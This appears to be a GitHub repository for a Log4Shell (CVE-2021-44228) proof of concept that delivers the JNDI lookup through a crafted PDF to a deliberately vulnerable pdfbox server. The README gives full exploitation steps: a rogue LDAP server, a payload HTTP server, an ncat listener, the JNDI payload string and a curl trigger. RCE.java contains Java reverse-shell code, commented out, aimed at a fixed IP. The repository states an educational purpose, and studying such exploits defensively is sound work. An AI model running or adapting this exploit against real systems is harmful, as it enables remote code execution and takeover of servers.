├── .gitignore ├── Dockerfile ├── LICENSE ├── README.md ├── docker.png ├── exploit └── RCE.java ├── lookup.png ├── pdf2shell.png ├── pom.xml ├── src └── main │ ├── java │ └── org │ │ └── sandbox │ │ ├── api │ │ └── API.java │ │ └── util │ │ └── GeneratePDF.java │ └── resources │ └── log4j2.xml ├── template.pdf └── upload.sh /.gitignore: -------------------------------------------------------------------------------- 1 | *.class 2 | target/ 3 | .idea 4 | dependency-reduced-pom.xml -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # Start from a base alpine image 2 | FROM maven AS build 3 | 4 | ADD . /log4jshell-pdf 5 | WORKDIR /log4jshell-pdf 6 | RUN mvn clean package 7 | 8 | FROM openjdk:8u181-jdk-alpine 9 | 10 | RUN apk add --no-cache maven bash curl wget 11 | 12 | RUN mkdir /app 13 | COPY --from=build /log4jshell-pdf/target/pdfbox-server-1.0-SNAPSHOT.jar /app/pdfbox-server.jar 14 | 15 | EXPOSE 8080 16 | 17 | ENTRYPOINT ["java", "-jar", "/app/pdfbox-server.jar"] -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Nationaal Cyber Security Centrum (NCSC-NL) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # Exploiting CVE-2021-44228 using PDFs as delivery channel - PoC 3 | 4 | The purpose of this project is to demonstrate the Log4Shell exploit with Log4J vulnerabilities using PDF as delivery channel. 5 | 6 | The goal is to: 7 | - Carefully craft a malformed PDF file that contains the JNDI lookup payload 8 | - Force the `pdfbox` library to log an ERROR/WARN message that contains the JNDI lookup payload 9 | 10 | ## Disclaimer 11 | 12 | - This PoC is for informational and educational purpose only 13 | - All the information are meant for developing Hacker Defense attitude and help preventing the hack attacks. 14 | 15 | ## Setup 16 | 17 | This repository contains a Web Application that process PDF files using pdfbox library and it is vulnerable to CVE-2021-44228 18 | 19 | - org.apache.pdfbox:pdfbox:2.0.24 (latest version) 20 | - org.apache.logging.log4j:log4j-core:2.14.1 21 | - openjdk:8u181-jdk-alpine 22 | 23 | The `com.sun.jndi.ldap.object.trustURLCodebase` it set to `true` 24 | 25 | # Build the vulnerable application 26 | 27 | Build the docker container: 28 | 29 | ```bash 30 | docker build . -t pdfbox-server 31 | ``` 32 | 33 | # Exploitation 34 | 35 | 1. Run the vulnerable application 36 | 37 | ```bash 38 | docker run -p 8080:8080 --name pdfbox-server pdfbox-server 39 | ``` 40 | 41 | ![](./docker.png) 42 | 43 | 2. Start the rogue LDAP server 44 | 45 | Change the IP accordingly to your setup 46 | 47 | ```bash 48 | git clone git@github.com:mbechler/marshalsec.git 49 | cd marshalsec 50 | mvn clean package -DskipTests 51 | java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.26.160.1:8888/#RCE" 52 | ``` 53 | 54 | 3. Compile the RCE payload and start the HTTP server used to deliver the payload 55 | 56 | Edit the `RCE.java` file and change the host variable accordingly to your setup 57 | 58 | ```bash 59 | cd exploit 60 | javac RCE.java 61 | python -m http.server 8888 62 | ``` 63 | 64 | 4. Start the reverse shell listener 65 | 66 | ```bash 67 | ncat -lvnp 4444 68 | ``` 69 | 70 | 5. Modify the PDF 71 | 72 | Open the `template.pdf` file in any editor and change the lookup expression. Because `/` is a reserved character in PDF specifications, I've used the recursive variable replacement lookup capabilities. 73 | 74 | ```bash 75 | ${jndi:ldap:${sys:file.separator}${sys:file.separator}172.26.160.1:1389${sys:file.separator}RCE} 76 | ``` 77 | 78 | ![](./lookup.png) 79 | 80 | 5. Trigger the exploit 81 | 82 | ```bash 83 | curl -i -s -X POST http://127.0.0.1:8080/api/parse --data-binary "@template.pdf" 84 | ``` 85 | 86 | ![](./pdf2shell.png) -------------------------------------------------------------------------------- /docker.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eelyvy/log4jshell-pdf/00a294d003d05fae3e7719d0d9e7118369227fe6/docker.png -------------------------------------------------------------------------------- /exploit/RCE.java: -------------------------------------------------------------------------------- 1 | import javax.naming.Context; 2 | import javax.naming.Name; 3 | import javax.naming.spi.ObjectFactory; 4 | import java.io.InputStream; 5 | import java.io.OutputStream; 6 | import java.net.Socket; 7 | import java.util.Hashtable; 8 | 9 | public class RCE implements ObjectFactory { 10 | 11 | static { 12 | try { 13 | // String host="172.26.160.1"; 14 | // int port=4444; 15 | // String cmd="/bin/bash"; 16 | // Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); 17 | // Socket s=new Socket(host,port); 18 | // InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream(); 19 | // OutputStream po=p.getOutputStream(),so=s.getOutputStream(); 20 | // while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); 21 | } catch (Exception e) { 22 | e.printStackTrace(); 23 | } 24 | } 25 | 26 | public RCE(){ 27 | } 28 | 29 | @Override 30 | public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception { 31 | return new RCE(); 32 | } 33 | } 34 | 35 | -------------------------------------------------------------------------------- /lookup.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eelyvy/log4jshell-pdf/00a294d003d05fae3e7719d0d9e7118369227fe6/lookup.png -------------------------------------------------------------------------------- /pdf2shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eelyvy/log4jshell-pdf/00a294d003d05fae3e7719d0d9e7118369227fe6/pdf2shell.png -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 4.0.0 6 | 7 | org.example 8 | pdfbox-server 9 | 1.0-SNAPSHOT 10 | 11 | log4jshell-pdf 12 | 13 | 14 | UTF-8 15 | 1.8 16 | 1.8 17 | 18 | 19 | 20 | 21 | org.apache.pdfbox 22 | pdfbox 23 | 2.0.24 24 | 25 | 26 | org.apache.logging.log4j 27 | log4j-core 28 | 2.14.1 29 | 30 | 31 | org.apache.logging.log4j 32 | log4j-jcl 33 | 2.14.1 34 | 35 | 36 | junit 37 | junit 38 | 4.11 39 | test 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | maven-clean-plugin 49 | 3.1.0 50 | 51 | 52 | 53 | maven-resources-plugin 54 | 3.0.2 55 | 56 | 57 | maven-compiler-plugin 58 | 3.8.0 59 | 60 | 61 | maven-surefire-plugin 62 | 2.22.1 63 | 64 | 65 | maven-jar-plugin 66 | 3.0.2 67 | 68 | 69 | maven-install-plugin 70 | 2.5.2 71 | 72 | 73 | maven-deploy-plugin 74 | 2.8.2 75 | 76 | 77 | 78 | maven-site-plugin 79 | 3.7.1 80 | 81 | 82 | maven-project-info-reports-plugin 83 | 3.0.0 84 | 85 | 86 | 87 | 88 | 89 | 90 | org.apache.maven.plugins 91 | maven-shade-plugin 92 | 3.2.0 93 | 94 | 95 | 96 | 97 | 98 | package 99 | 100 | shade 101 | 102 | 103 | 104 | 105 | org.sandbox.api.API 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | -------------------------------------------------------------------------------- /src/main/java/org/sandbox/api/API.java: -------------------------------------------------------------------------------- 1 | package org.sandbox.api; 2 | 3 | import com.sun.net.httpserver.HttpServer; 4 | import org.apache.pdfbox.pdmodel.PDDocument; 5 | import org.apache.pdfbox.text.PDFTextStripper; 6 | 7 | import java.io.IOException; 8 | import java.io.InputStream; 9 | import java.io.OutputStream; 10 | import java.net.InetSocketAddress; 11 | import java.util.Properties; 12 | 13 | public class API { 14 | 15 | private static final int PORT = 8080; 16 | 17 | public static void main(String[] args) throws IOException { 18 | 19 | HttpServer server = HttpServer.create(new InetSocketAddress(PORT), 0); 20 | server.createContext("/api/parse", (request -> { 21 | System.out.println("Processing request from: " + request.getRemoteAddress()); 22 | if ("POST".equals(request.getRequestMethod())) { 23 | try (InputStream requestBody = request.getRequestBody()) { 24 | String responseBody = parse(requestBody); 25 | request.sendResponseHeaders(200, responseBody.getBytes().length); 26 | OutputStream output = request.getResponseBody(); 27 | output.write(responseBody.getBytes()); 28 | output.flush(); 29 | } catch (IOException e) { 30 | request.sendResponseHeaders(500, -1); 31 | } 32 | } else { 33 | request.sendResponseHeaders(405, -1);// 405 Method Not Allowed 34 | } 35 | request.close(); 36 | })); 37 | 38 | server.setExecutor(null); // creates a default executor 39 | setJNDIProperties(); 40 | registerShutdownHook(); 41 | System.out.println("Server started on port: " + PORT); 42 | server.start(); 43 | } 44 | 45 | private static String parse(InputStream pdf) throws IOException { 46 | PDDocument doc = PDDocument.load(pdf); 47 | return new PDFTextStripper().getText(doc); 48 | } 49 | 50 | // for demonstration 51 | private static void setJNDIProperties() { 52 | Properties properties = System.getProperties(); 53 | properties.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); 54 | } 55 | 56 | private static void registerShutdownHook() { 57 | Runtime.getRuntime().addShutdownHook(new Thread(() -> System.out.println("Shutting down the Extractor server ..."))); 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /src/main/java/org/sandbox/util/GeneratePDF.java: -------------------------------------------------------------------------------- 1 | package org.sandbox.util; 2 | 3 | import org.apache.pdfbox.pdmodel.PDDocument; 4 | import org.apache.pdfbox.pdmodel.PDPage; 5 | import org.apache.pdfbox.pdmodel.PDPageContentStream; 6 | import org.apache.pdfbox.pdmodel.font.PDType1Font; 7 | 8 | import java.io.IOException; 9 | import java.nio.file.Paths; 10 | 11 | public class GeneratePDF { 12 | 13 | public static void main(String[] args) throws IOException { 14 | if(args.length == 0) { 15 | System.out.println("Please provide the destination of generated PDF file"); 16 | System.exit(1); 17 | } 18 | System.out.println("Generating the PDF file template.\n" + 19 | "Using any editor, modify the last '/Size 8' entry and add the JNDI url (e.g.):\n" + 20 | "/Size ${jndi:ldap:${sys:file.separator}${sys:file.separator}172.26.160.1:8888${sys:file.separator}RCE}\n\n" + 21 | "Note: The '/' is a reserved character in PDF specifications\n"); 22 | generate(args[0]); 23 | System.out.println("File was generated: " + Paths.get(args[0]).toFile().getAbsolutePath()); 24 | } 25 | 26 | private static void generate(String destination) throws IOException { 27 | PDDocument document = new PDDocument(); 28 | PDPage page = new PDPage(); 29 | document.addPage(page); 30 | 31 | PDPageContentStream contentStream = new PDPageContentStream(document, page); 32 | 33 | contentStream.setFont(PDType1Font.COURIER, 24); 34 | contentStream.beginText(); 35 | contentStream.newLineAtOffset(50, 750); 36 | contentStream.showText("Log4Shell"); 37 | contentStream.endText(); 38 | contentStream.setFont(PDType1Font.COURIER, 12); 39 | contentStream.beginText(); 40 | contentStream.newLineAtOffset(50, 730); 41 | contentStream.showText("using PDF as attack channel"); 42 | contentStream.endText(); 43 | contentStream.close(); 44 | 45 | document.save(destination); 46 | document.close(); 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /src/main/resources/log4j2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /template.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eelyvy/log4jshell-pdf/00a294d003d05fae3e7719d0d9e7118369227fe6/template.pdf -------------------------------------------------------------------------------- /upload.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | curl -i -X POST http://127.0.0.1:8080/api/parse --data-binary "@$1" 4 | --------------------------------------------------------------------------------